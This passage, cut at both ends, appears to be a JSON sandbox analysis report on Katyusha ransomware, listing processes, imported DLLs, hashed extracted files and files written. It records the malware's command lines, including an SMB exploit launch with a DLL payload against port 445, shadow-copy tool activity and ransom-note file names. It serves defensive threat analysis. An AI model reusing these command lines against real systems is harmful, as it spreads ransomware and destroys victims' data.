/quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","parent_uid":"00039482-00002640","uid":"00039890-00002508"},{"pid":3540,"ppid":2400,"name":"cmd.exe","command_line":"/c cd /D %WINDIR%\\temp\\&svchostb.exe --TargetIp 192.168.56.1 & svchostbs.exe --OutConfig s --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload katyusha.dll --TargetIp 192.168.56.1","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00028540-00002400","uid":"00030770-00003540"},{"pid":3820,"ppid":3540,"name":"svchostb.exe","command_line":"--TargetIp 192.168.56.1","sha256":"22501da84c7604912d730681de696f9d60c04e81c12f3641f306449474c299ea","normalized_path":"%WINDIR%\\Temp\\svchostb.exe","parent_uid":"00030770-00003540","uid":"00030780-00003820"},{"pid":3440,"ppid":3540,"name":"svchostbs.exe","command_line":"--OutConfig s --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload katyusha.dll --TargetIp 192.168.56.1","sha256":"c8af5abb931257aec0f33ecbe8cb1731dbc1695369c800810cad2fb1cc004b08","normalized_path":"%WINDIR%\\Temp\\svchostbs.exe","parent_uid":"00030770-00003540","uid":"00032823-00003440"},{"pid":2688,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00030893-00002688"},{"pid":2160,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00031038-00002160"},{"pid":2056,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00031196-00002056"},{"pid":3564,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00031416-00003564"},{"pid":3456,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00031670-00003456"},{"pid":3692,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00031875-00003692"},{"pid":3676,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00032185-00003676"},{"pid":172,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00032576-00000172"},{"pid":2588,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00033064-00002588"},{"pid":4076,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00033769-00004076"},{"pid":2332,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00034291-00002332"},{"pid":2908,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00034564-00002908"},{"pid":3032,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00034992-00003032"},{"pid":2112,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00035421-00002112"},{"pid":564,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00035730-00000564"},{"pid":3020,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00036111-00003020"},{"pid":1056,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00036373-00001056"},{"pid":3312,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00036831-00003312"},{"pid":1532,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00037139-00001532"},{"pid":3836,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00037484-00003836"},{"pid":512,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00037835-00000512"},{"pid":4036,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00038156-00004036"},{"pid":3456,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00038503-00003456"},{"pid":3996,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00038896-00003996"},{"pid":520,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00039242-00000520"},{"pid":2552,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00039607-00002552"},{"pid":1328,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00039954-00001328"},{"pid":3476,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00040350-00003476"},{"pid":292,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00040820-00000292"},{"pid":840,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00041222-00000840"},{"pid":3556,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00041658-00003556"},{"pid":1656,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00042056-00001656"},{"pid":2900,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00042471-00002900"},{"pid":2956,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00042853-00002956"},{"pid":1360,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00043279-00001360"},{"pid":320,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00043672-00000320"},{"pid":632,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00044109-00000632"},{"pid":2972,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00044509-00002972"},{"pid":2304,"ppid":2400,"name":"","command_line":"","normalized_path":"","parent_uid":"00028540-00002400","uid":"00044984-00002304"}],"all_imported_dlls":["nlaapi.dll","pnrpnsp.dll","imm32.dll","sspicli.dll","winnsi.dll","ntmarta.dll","WinSCard.dll","cryptdll.dll","wow64.dll","sechost.dll","Wldap32.dll","rasadhlp.dll","winbrand.dll","rpcss.dll","vaultcli.dll","wbemcomn.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","FWPUCLNT.DLL","wbemsvc.dll","fastprox.dll","dbghelp.dll","wmiutils.dll","normaliz.dll","dnsapi.dll","ole32.dll","netapi32.dll","wkscli.dll","winsta.dll","RpcRtRemote.dll","wtsapi32.dll","ntdll.dll","ws2_32.dll","comctl32.dll","wbemprox.dll","ntdsapi.dll","mpr.dll","wmiprov.dll","vsstrace.dll","kernel32.dll","advapi32.dll","uxtheme.dll","profapi.dll","oleaut32.dll","crypt32.dll","netutils.dll","srvcli.dll","msvcrt.dll","IPHLPAPI.DLL","urlmon.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","WSHTCPIP.DLL","cabinet.dll","hid.dll","wintrust.dll","userenv.dll","cfgmgr32.dll","winrnr.dll","samlib.dll","tzres.dll","framedynos.dll","atl.dll","vssapi.dll","api-ms-win-core-synch-l1-2-0.dll","rpcrt4.dll","iertutil.dll","logoncli.dll","rsaenh.dll","bcrypt.dll","shell32.dll","shlwapi.dll","wininet.dll","NapiNSP.dll","fltLib.dll","vss_ps.dll","msasn1.dll","bcryptprimitives.dll","ncobjapi.dll","cryptbase.dll","propsys.dll","mswsock.dll","dhcpcsvc6.dll","dwmapi.dll","cryptsp.dll","wow64cpu.dll","user32.dll","lpk.dll","api-ms-win-downlevel-user32-l1-1-0.dll","version.dll","secur32.dll","devobj.dll","wow64win.dll","gdi32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","setupapi.dll","KernelBase.dll","usp10.dll","msctf.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","dhcpcsvc.dll","VxSSL64.dll","nsi.dll","apphelp.dll","clbcatq.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","libxml2.dll","powrprof.dll","CoreUIComponents.dll","msvcp_win.dll","exma-1.dll","windows.storage.dll","winhttp.dll","wsock32.dll","CoreMessaging.dll","cscapi.dll","tibe-2.dll","SHCore.dll","davhlpr.dll","edputil.dll","msIso.dll","davclnt.dll","trfo-2.dll","drprov.dll","Windows.StateRepositoryPS.dll","posh-0.dll","ntlanman.dll","psapi.dll","tucl-1.dll","combase.dll","cldapi.dll","coli-0.dll","ucrtbase.dll","gdi32full.dll","trch-1.dll","win32u.dll","imagehlp.dll","OnDemandConnRouteHelper.dll","kernel.appcore.dll","TextInputFramework.dll","winnlsres.dll","aepic.dll","OneCoreUAPCommonProxyStub.dll","WinTypes.dll","webio.dll","ieframe.dll","oleacc.dll","ucl.dll","crli-0.dll","cnli-1.dll","xdvl-0.dll","zlib1.dll","oleaccrc.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"ktsi.exe","sha256":"a3dabb63f11e208a0d1d9b43b3d2575e2dc2a7d87c14eb654d3062f3bc0ad12d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"cnli-1.dll","sha256":"db0831e19a4e3a736ea7498dadc2d6702342f75fd8f7fbae1894ee2e9738c2b4","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"coli-0.dll","sha256":"0439628816cabe113315751e7113a9e9f720d7e499ffdd78acbac1ed8ba35887","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"crli-0.dll","sha256":"b556b5c077e38dcb65d21a707c19618d02e0a65ff3f9887323728ec078660cc3","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"dmgd-4.dll","sha256":"50f329e034db96ba254328cd1e0f588af6126c341ed92ddf4aeb96bc76835937","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"exma-1.dll","sha256":"15292172a83f2e7f07114693ab92753ed32311dfba7d54fe36cc7229136874d9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"katyusha.dll","sha256":"ad8008d02b66ad40acb6389e51aee351363968da5a6b7dc4ac293af354af738f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"libeay32.dll","sha256":"5f30aa2fe338191b972705412b8043b0a134cdb287d754771fc225f2309e82ee","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"libxml2.dll","sha256":"aceb27720115a63b9d47e737fd878a61c52435ea4ec86ba8e58ee744bc85c4f3","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"m32.exe","sha256":"4179a1bff4c698ea6958bacb1f1734b9ab804cef35ecaf0e2a2b4b2eadf8e935","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"m64.exe","sha256":"db995430707d2d34de8e5ce5fb4b22a87422f5a7b4d38960ed6615d4ea3d9495","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"ktsi.exe.615288FE.bin","sha256":"a3dabb63f11e208a0d1d9b43b3d2575e2dc2a7d87c14eb654d3062f3bc0ad12d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"name":"m64.exe.615288F7.bin","sha256":"db995430707d2d34de8e5ce5fb4b22a87422f5a7b4d38960ed6615d4ea3d9495","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"name":"KillDuplicate.cmd","sha256":"64929489dc8a0d66ea95113d4e676368edb576ea85d23564d53346b21c202770","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"J0185798.WMF.katyusha","sha256":"4a9e9a3f433bb433e32077021fffdda0add23886bae06d7a340f5b45d5ef7949","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"name":"AN02559_.WMF.katyusha","sha256":"c196931e38a94bbf0d7a7f5e56e5a4bb0af1d68c849e14031b545961cdd04981","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"name":"J0101867.BMP.katyusha","sha256":"4fc480dbaa6431fe6787936cdff246c244b636de9b6621684b59fd6a92e0f624","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"name":"BD18231_.WMF.katyusha","sha256":"6c1738b20590809377832862dc6c8f147d0d52880fb4263d8fe718bec7b1f7a3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"name":"Module.eftx.katyusha","sha256":"6a9f4c05b237682a22491ef84ad656c35dfa2fdaecb3cbfea7a8eae26b15ef98","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"name":"BD10307_.GIF.katyusha","sha256":"e8cfdd597e98c46b99b1e4d35afc6a5370e5dafdc71370395be0296251938d5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"name":"posh-0.dll","sha256":"cde45f7ff05f52b7215e4b0ea1f2f42ad9b42031e16a3be9772aa09e014bacdb","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"ssleay32.dll","sha256":"be8eb97d8171b8c91c6bc420346f7a6d2d2f76809a667ade03c990feffadaad5","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"svchostb.exe","sha256":"22501da84c7604912d730681de696f9d60c04e81c12f3641f306449474c299ea","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"svchostbs.exe","sha256":"c8af5abb931257aec0f33ecbe8cb1731dbc1695369c800810cad2fb1cc004b08","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"svchostp.exe","sha256":"fa2a5db45a4808a3d087bb9cf807c5672be9e856166a049d15997b56c4626af4","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"tibe-2.dll","sha256":"ca63dbb99d9da431bf23aca80dc787df67bb01104fb9358a7813ed2fce479362","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"trch-1.dll","sha256":"0259d41720f7084716a3b2bbe34ac6d3021224420f81a4e839b0b3401e5ef29f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"trfo-2.dll","sha256":"b2a3172a1d676f00a62df376d8da805714553bb3221a8426f9823a8a5887daaa","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"tucl-1.dll","sha256":"cf25bdc6711a72713d80a4a860df724a79042be210930dcbfc522da72b39bb12","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"ucl.dll","sha256":"f0df80978b3a563077def7ba919e2f49e5883d24176e6b3371a8eef1efe2b06a","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"xdvl-0.dll","sha256":"b7d8fcc3fb533e5e0069e00bc5a68551479e54a990bb1b658e1bd092c0507d68","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"zkts.exe","sha256":"7f5f134fd3ec2c14956acd7362c76e66759b8ecc51f986ef80bbf9f7f94b89fe","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"zlib1.dll","sha256":"aa8adf96fc5a7e249a6a487faaf0ed3e00c40259fdae11d4caf47a24a9d3aaed","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"KTSI.EXE.6371869D.bin","sha256":"a3dabb63f11e208a0d1d9b43b3d2575e2dc2a7d87c14eb654d3062f3bc0ad12d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"M64.EXE.63718696.bin","sha256":"db995430707d2d34de8e5ce5fb4b22a87422f5a7b4d38960ed6615d4ea3d9495","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"SVCHOSTB.EXE.63718706.bin","sha256":"22501da84c7604912d730681de696f9d60c04e81c12f3641f306449474c299ea","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"SVCHOSTP.EXE.63718707.bin","sha256":"fa2a5db45a4808a3d087bb9cf807c5672be9e856166a049d15997b56c4626af4","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"ZKTS.EXE.6371868F.bin","sha256":"7f5f134fd3ec2c14956acd7362c76e66759b8ecc51f986ef80bbf9f7f94b89fe","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"_how_to_decrypt_you_files.txt","sha256":"59290cd3b2287d89c83212cebcbf5ab2a9a756f991d2aa06d14204af8f3da8dc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"_how_to_decrypt_you_files.html","sha256":"21cd07c9ce31c9a1ea6fd854ba0704bc0c51db71ec869a95bd4e569e16fb4345","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"svchostb.xml","sha256":"ea7caa08e115dbb438e29da46b47f54c62c29697617bae44464a9b63d9bddf18","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"svchostbs.xml","sha256":"cf33a92a05ba3c807447a5f6b7e45577ed53174699241da360876d4f4a2eb2de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"snamelog","sha256":"ce602ebdb65c2089faa9ca2031e26edd586bea051affc9c1ea00ad3fe319eafb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"spasslog","sha256":"bf06d8e701a185c30d0f7a002a20d091b469e63c007407fbe8752153ccc9916a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]}],"files_written":[{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\SysWOW64\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\AppPatch\\AppPatch64\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\zkts.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\ktsi.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\temp","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\svchostb.xml","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\svchostbs.xml","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\m64.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\posh-0.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\ssleay32.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\svchostb.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\svchostbs.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\svchostp.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\tibe-2.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\trch-1.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\trfo-2.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\tucl-1.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\ucl.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\SysWOW64\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001e.db","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\SysWOW64\\taskkill.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\KillDuplicate.cmd","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\cnli-1.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\coli-0.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\crli-0.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\dmgd-4.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\exma-1.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\katyusha.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\libeay32.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\libxml2.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\m32.exe","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\xdvl-0.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\zlib1.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp\\snamelog","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\Temp\\spasslog","sources":[{"report_type":"sandbox","report_